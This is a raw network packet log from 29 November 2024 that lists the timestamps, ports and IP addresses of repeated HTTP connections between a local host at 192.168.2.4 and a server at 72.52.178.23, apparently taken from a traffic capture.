Nov 29, 2024 01:52:16.064665079 CET	49748	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.184577942 CET	80	49748	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.411961079 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.531955004 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.532048941 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.532196999 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.532391071 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.532465935 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.532497883 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.652031898 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652220011 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652409077 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652419090 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652446985 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652463913 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652507067 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.652517080 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652540922 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.652556896 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.652595997 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652615070 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652651072 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652653933 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.652694941 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652702093 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.652705908 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.652759075 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.773510933 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.773520947 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.773529053 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.773536921 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.773580074 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.773612976 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.814274073 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.814534903 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.934602022 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.936604023 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.981313944 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.101306915 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.101358891 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.249614000 CET	80	49748	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.254440069 CET	49748	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.305299997 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.310430050 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.310910940 CET	49748	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.430784941 CET	80	49748	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.464154005 CET	49752	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.486077070 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.487029076 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.584076881 CET	80	49752	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.584367990 CET	49752	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.586007118 CET	49752	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.607043982 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607054949 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607109070 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607135057 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607203960 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607213974 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607259989 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607270002 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.607311010 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.705897093 CET	80	49752	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.715698004 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.715781927 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.715852022 CET	49750	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:17.835704088 CET	80	49750	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:17.939723015 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.059631109 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.059694052 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.059998989 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.060034037 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.060115099 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.060163021 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.179817915 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180088043 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180138111 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180146933 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180198908 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.180202961 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180239916 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180248976 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.180275917 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.180392981 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180402994 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180412054 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180421114 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180454016 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.180474043 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.180483103 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180494070 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.180536032 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.300096989 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.300163984 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.300185919 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.300211906 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.300236940 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.300252914 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.300337076 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.300379038 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.341248035 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.341353893 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.461299896 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.461354017 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.505235910 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.625267029 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.625319958 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.721936941 CET	80	49752	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.722004890 CET	49752	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.722062111 CET	49752	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.829294920 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.832431078 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.841875076 CET	80	49752	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.848314047 CET	49755	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.968282938 CET	80	49755	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:18.968494892 CET	49755	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:18.968494892 CET	49755	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.013331890 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.013513088 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.088445902 CET	80	49755	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252083063 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252111912 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252120018 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252129078 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252137899 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252146959 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252156019 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252166033 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252175093 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252182961 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.252192020 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.455785990 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.455998898 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.455998898 CET	49753	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.576061010 CET	80	49753	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.680464029 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.800432920 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.800498962 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.807667017 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.807710886 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.807790995 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.807980061 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.927762032 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.927772999 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.927779913 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.927830935 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.927900076 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.927908897 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.927946091 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.927980900 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.927989006 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.928020000 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.928028107 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.928033113 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.928077936 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.928117037 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.928126097 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.928133011 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:19.928167105 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:19.928189039 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.047971010 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.047982931 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.048139095 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.048150063 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.048192024 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.048218012 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.080275059 CET	49755	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.089272976 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.089421034 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.199129105 CET	80	49755	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.199198961 CET	49755	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.203768015 CET	49757	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.209323883 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.209431887 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.253278971 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.253349066 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.323642015 CET	80	49757	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.323725939 CET	49757	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.328190088 CET	49757	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.373286963 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.373347998 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.448091030 CET	80	49757	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.541352034 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.541399956 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.745345116 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.745407104 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.754261017 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.754332066 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.865503073 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.874396086 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.874408007 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.874521971 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.874536037 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.874608040 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.874634981 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.985289097 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:20.985397100 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:20.985465050 CET	49756	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.105632067 CET	80	49756	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.194003105 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.314078093 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.314156055 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.314338923 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.314412117 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.314488888 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.314515114 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434215069 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434346914 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434379101 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434470892 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434521914 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434545994 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434587002 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434640884 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434657097 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434691906 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434691906 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434720993 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434771061 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434777021 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434823036 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434843063 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434866905 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434892893 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434920073 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.434946060 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.434961081 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.513675928 CET	80	49757	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.513735056 CET	49757	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.513792992 CET	49757	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.554629087 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.554656029 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.554730892 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.554734945 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.554790020 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.554841042 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.601391077 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.601531029 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.633821011 CET	80	49757	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.636115074 CET	49760	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.717361927 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.717489958 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.756190062 CET	80	49760	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.756373882 CET	49760	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.756469011 CET	49760	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.765331984 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.765388012 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:21.876386881 CET	80	49760	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.881361961 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.977401018 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:21.978374004 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.226883888 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.226983070 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.270303965 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.270378113 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.347163916 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.390412092 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.390424967 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.390489101 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.390497923 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.390604973 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.390613079 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.390619993 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.498809099 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.498871088 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.498909950 CET	49759	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.618870020 CET	80	49759	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.722749949 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.842747927 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.842853069 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.842962980 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.843040943 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.843097925 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.843209982 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.963561058 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964217901 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964230061 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964238882 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964282036 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.964304924 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.964309931 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964334011 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964353085 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.964371920 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.964406013 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964415073 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964448929 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964453936 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.964494944 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.964775085 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964812040 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964821100 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:22.964823008 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:22.964863062 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.009393930 CET	80	49760	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.009475946 CET	49760	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.009583950 CET	49760	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.084810972 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.084820032 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.084857941 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.084877014 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.084882975 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.084940910 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.112750053 CET	49762	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.129497051 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.129585981 CET	80	49760	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.129615068 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.233438969 CET	80	49762	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.233510971 CET	49762	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.233619928 CET	49762	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.245349884 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.245630026 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.293332100 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.293395042 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.353513956 CET	80	49762	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.409331083 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.505352020 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.505413055 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.753320932 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.753393888 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.797719002 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.797786951 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:23.873405933 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.917999983 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.918010950 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.918026924 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.918035984 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.918102980 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.918112040 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:23.918143988 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.027463913 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.027720928 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.027720928 CET	49761	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.147680998 CET	80	49761	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.244497061 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.364489079 CET	80	49763	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:24.368813038 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.368957043 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.368984938 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.369057894 CET	49763	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:24.369090080 CET	49763	80	192.168.2.4	72.52.178.23
